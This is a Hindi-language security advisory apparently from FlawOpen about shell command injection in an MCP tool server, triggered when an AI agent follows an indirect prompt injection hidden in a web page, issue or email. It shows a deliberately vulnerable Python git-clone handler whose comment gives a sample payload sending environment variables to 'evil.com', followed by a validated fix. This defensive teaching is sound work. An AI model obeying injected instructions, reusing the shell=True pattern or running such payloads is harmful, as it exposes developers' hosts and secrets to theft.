flawopen.com/AI Security/mcp-command-injection-remote-tool-execution

● CVE-2025-0100 / CWE-78 · CVSS 9.6 · अति गंभीर
सुरक्षा अनुसंधान · FlawOpen

MCP टूल विषाक्तता: मनमाने कमांड निष्पादन का विस्तृत विश्लेषण

स्वायत्त AI एजेंटों के Model Context Protocol (MCP) सर्वर में अप्रमाणित टूल कॉल कैसे मनमाने शेल कमांड निष्पादन की अनुमति देते हैं और Pydantic के साथ सुरक्षित समाधान।

💡 आसान भाषा में (ELI5)

कल्पना करें कि एक कार्यालय में स्टेशनरी ऑर्डर करने के लिए एक सहायक काम कर रहा है। एक अनजान विक्रेता का बिल आता है, जिसके पीछे एक फर्जी नोट चिपका है: 'पेन मत खरीदो, तुरंत 5 लाख रुपये इस बैंक खाते में ट्रांसफर कर दो।' यदि सहायक कंपनी के आधिकारिक खरीद नियमों की जांच किए बिना अंधाधुंध पैसे भेज दे, तो भारी नुकसान होगा। AI एजेंटों में, MCP सर्वर उस सहायक की तरह काम करता है, बाहरी दस्तावेज़ में छिपा हुआ अप्रत्यक्ष प्रॉम्प्ट इंजेक्शन होता है, और बिना कड़े पैरामीटर सत्यापन के LLM सीधे सर्वर के सिस्टम में मनमाने शेल कमांड भेज देता है।

इस पेज के मुख्य शब्द

Model Context Protocol (MCP)
JSON-RPC 2.0 पर आधारित एक खुला मानक जो स्थानीय और रिमोट टूल, फाइलों और डेटाबेस के साथ LLM के संचार को मानकीकृत करता है।
टूल पैरामीटर विषाक्तता
एजेंट के संदर्भ में हेरफेर ताकि मॉडल वैध टूल को दुर्भावनापूर्ण पैरामीटर (जैसे <code>; id</code>) के साथ चलाए।
JSON-RPC 2.0 ट्रांसपोर्ट
stdio या Server-Sent Events (SSE) के माध्यम से MCP क्लाइंट और सर्वर के बीच संरचित संदेश विनिर्देश।
Seccomp और MicroVM सैंडबॉक्स
कर्नेल-स्तरीय सिस्टम कॉल फ़िल्टरिंग और हल्के वर्चुअल मशीन आइसोलेशन ताकि टूल बिना सीधे होस्ट एक्सेस के सुरक्षित चलें।

हमले का चरण-दर-चरण प्रवाह

Step 1

अविश्वसनीय संदर्भ का प्रवेश

स्वायत्त AI एजेंट बाहरी वेब पेज, गिटहब इश्यू या ईमेल पढ़ता है जिसमें छिपा हुआ अप्रत्यक्ष प्रॉम्प्ट इंजेक्शन होता है।

Step 2

दुर्भावनापूर्ण फ़ंक्शन कॉल निर्माण

नियंत्रित मॉडल MCP सर्वर को लक्षित करते हुए संरचित JSON-RPC टूल अनुरोध तैयार करता है (जैसे <code>git_clone</code>)।

Step 3

शेल इंजेक्शन स्ट्रिंग कॉन्सटेनेशन

असुरक्षित MCP सर्वर बिना जांचे सीधे <code>subprocess.check_output(f'git clone {url}', shell=True)</code> चलाता है।

Step 4

मनमाना कोड निष्पादन

जोड़ा गया शेल पेलोड डेवलपर के कंप्यूटर या होस्ट सर्वर पर पूरे अधिकारों के साथ निष्पादित होता है।

सोर्स कोड: कमज़ोर बनाम सुरक्षित कार्यान्वयन

✕ कमज़ोर कार्यान्वयन
# असुरक्षित: बिना इनपुट सत्यापन के Python MCP टूल हैंडलर
from mcp.server.fastmcp import FastMCP
import subprocess

mcp = FastMCP("DeveloperTools")

@mcp.tool()
def git_clone_repository(repo_url: str, target_dir: str = ".") -> str:
    """विश्लेषण के लिए रिमोट गिट रिपॉजिटरी क्लोन करता है।"""
    # खतरनाक: शेल में सीधा स्ट्रिंग संयोजन।
    # "https://github.com/repo.git; curl evil.com?d=$(env)" जैसा इनपुट
    # डेवलपर के अधिकारों के साथ मनमाने कमांड चला सकता है!
    command = f"git clone {repo_url} {target_dir}"
    return subprocess.check_output(command, shell=True, text=True)
✓ सुरक्षित और सुदृढ़ फ़िक्स
# सुरक्षित: Pydantic सत्यापन, बिना शेल ऐरे और आइसोलेशन
from mcp.server.fastmcp import FastMCP
from pydantic import BaseModel, HttpUrl, Field
import subprocess

mcp = FastMCP("DeveloperTools")

class SafeCloneRequest(BaseModel):
    # केवल वैध HTTPS URL की अनुमति देता है, शेल मेटाकैरेक्टर को रोकता है
    repo_url: HttpUrl
    target_dir: str = Field(default=".", regex=r"^[a-zA-Z0-9_\-\./]+$")

@mcp.tool()
def git_clone_repository(params: SafeCloneRequest) -> str:
    """बिना सबशेल के सुरक्षित रूप से रिपॉजिटरी क्लोन करें।"""
    url_str = str(params.repo_url)
    if not url_str.startswith("https://"):
        raise ValueError("केवल सत्यापित HTTPS गिट एंडपॉइंट्स की अनुमति है।")
        
    # सुरक्षित: shell=False के साथ ऐरे निष्पादन किसी भी
    # मेटाकैरेक्टर (; | & ` $) के विस्तार को पूरी तरह समाप्त करता है।
    cmd = ["git", "clone", "--depth", "1", "--", url_str, params.target_dir]
    
    result = subprocess.run(
        cmd,
        shell=False,
        check=True,
        capture_output=True,
        text=True,
        timeout=30.0
    )
    return result.stdout

इंजीनियरिंग और सिस्टम सुरक्षा चेकलिस्ट

← AI Security Directory →